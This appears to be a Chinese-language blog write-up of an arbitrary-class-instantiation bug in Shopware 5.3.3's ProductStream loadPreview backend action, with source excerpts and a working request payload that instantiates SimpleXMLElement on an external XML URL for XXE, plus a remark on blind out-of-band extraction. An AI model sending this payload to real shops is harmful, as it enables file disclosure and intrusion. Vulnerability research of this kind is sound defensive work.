这篇咕了好几天了。。

问题出在/engine/Shopware/Controllers/Backend/ProductStream.php中Shopware_Controllers_Backend_ProductStream类的loadPreviewAction方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public function loadPreviewAction()
{
$conditions = $this->Request()->getParam('conditions');
$conditions = json_decode($conditions, true);

$sorting = $this->Request()->getParam('sort');

$criteria = new Criteria();

/** @var RepositoryInterface $streamRepo */
$streamRepo = $this->get('shopware_product_stream.repository');
$sorting = $streamRepo->unserialize($sorting);

foreach ($sorting as $sort) {
$criteria->addSorting($sort);
}

$conditions = $streamRepo->unserialize($conditions);

foreach ($conditions as $condition) {
$criteria->addCondition($condition);
}

$criteria->offset($this->Request()->getParam('start', 0));
$criteria->limit($this->Request()->getParam('limit', 20));

$context = $this->createContext(
$this->Request()->getParam('shopId'),
$this->Request()->getParam('currencyId'),
$this->Request()->getParam('customerGroupKey')
);

$criteria->addBaseCondition(
new CustomerGroupCondition([$context->getCurrentCustomerGroup()->getId()])
);

$category = $context->getShop()->getCategory()->getId();
$criteria->addBaseCondition(
new CategoryCondition([$category])
);

$result = Shopware()->Container()->get('shopware_search.product_search')
->search($criteria, $context);

$products = array_values($result->getProducts());

$this->View()->assign([
'success' => true,
'data' => $products,
'total' => $result->getTotalCount(),
]);
}
  • 问题在这句
    1
    $sorting = $streamRepo->unserialize($sorting);
  • 猜测这个unserialize方法类似于php内置的unserailize 函数,都是用于将字符串恢复成相应的对象
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    //engine\Shopware\Components\LogawareReflectionHelper.php
    /**
    * @param array $serialized
    * @param string $errorSource
    *
    * @return array
    */
    public function unserialize($serialized, $errorSource)
    {
    //var_dump($serialized);
    $classes = [];

    foreach ($serialized as $className => $arguments) {
    $className = explode('|', $className);
    $className = $className[0];

    try {
    $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
    } catch (\Exception $e) {
    $this->logger->critical($errorSource . ': ' . $e->getMessage());
    }
    }
    return $classes;
    }
  • 在createInstanceFromNamedArguments方法中会利用反射实例化指定的类
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    /**
    * @param string $className
    * @param array $arguments
    *
    * @return object
    */
    public function createInstanceFromNamedArguments($className, $arguments)
    {
    //实例化了一个反射类
    $reflectionClass = new \ReflectionClass($className);

    if (!$reflectionClass->getConstructor()) {
    return $reflectionClass->newInstance();
    }

    $constructorParams = $reflectionClass->getConstructor()->getParameters();

    $newParams = [];
    foreach ($constructorParams as $constructorParam) {
    $paramName = $constructorParam->getName();

    if (!isset($arguments[$paramName])) {
    if (!$constructorParam->isOptional()) {
    throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
    }
    $newParams[] = $constructorParam->getDefaultValue();

    continue;
    }

    $newParams[] = $arguments[$paramName];
    }

    //实例化指定的类
    return $reflectionClass->newInstanceArgs($newParams);
    }
  • 整个过程用户可控的且没有限制,因此可以去实例化一个SimpleXMLElement类进行XXE攻击,payload如下
    1
    /shopware-5.3.3/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25
  • 不过这里没有输出$sorting,所以没有回显。需要引入外部实体来进行Blind OOB XXE,不过要注意php的xmllib在2.9.0后默认不解析外部实体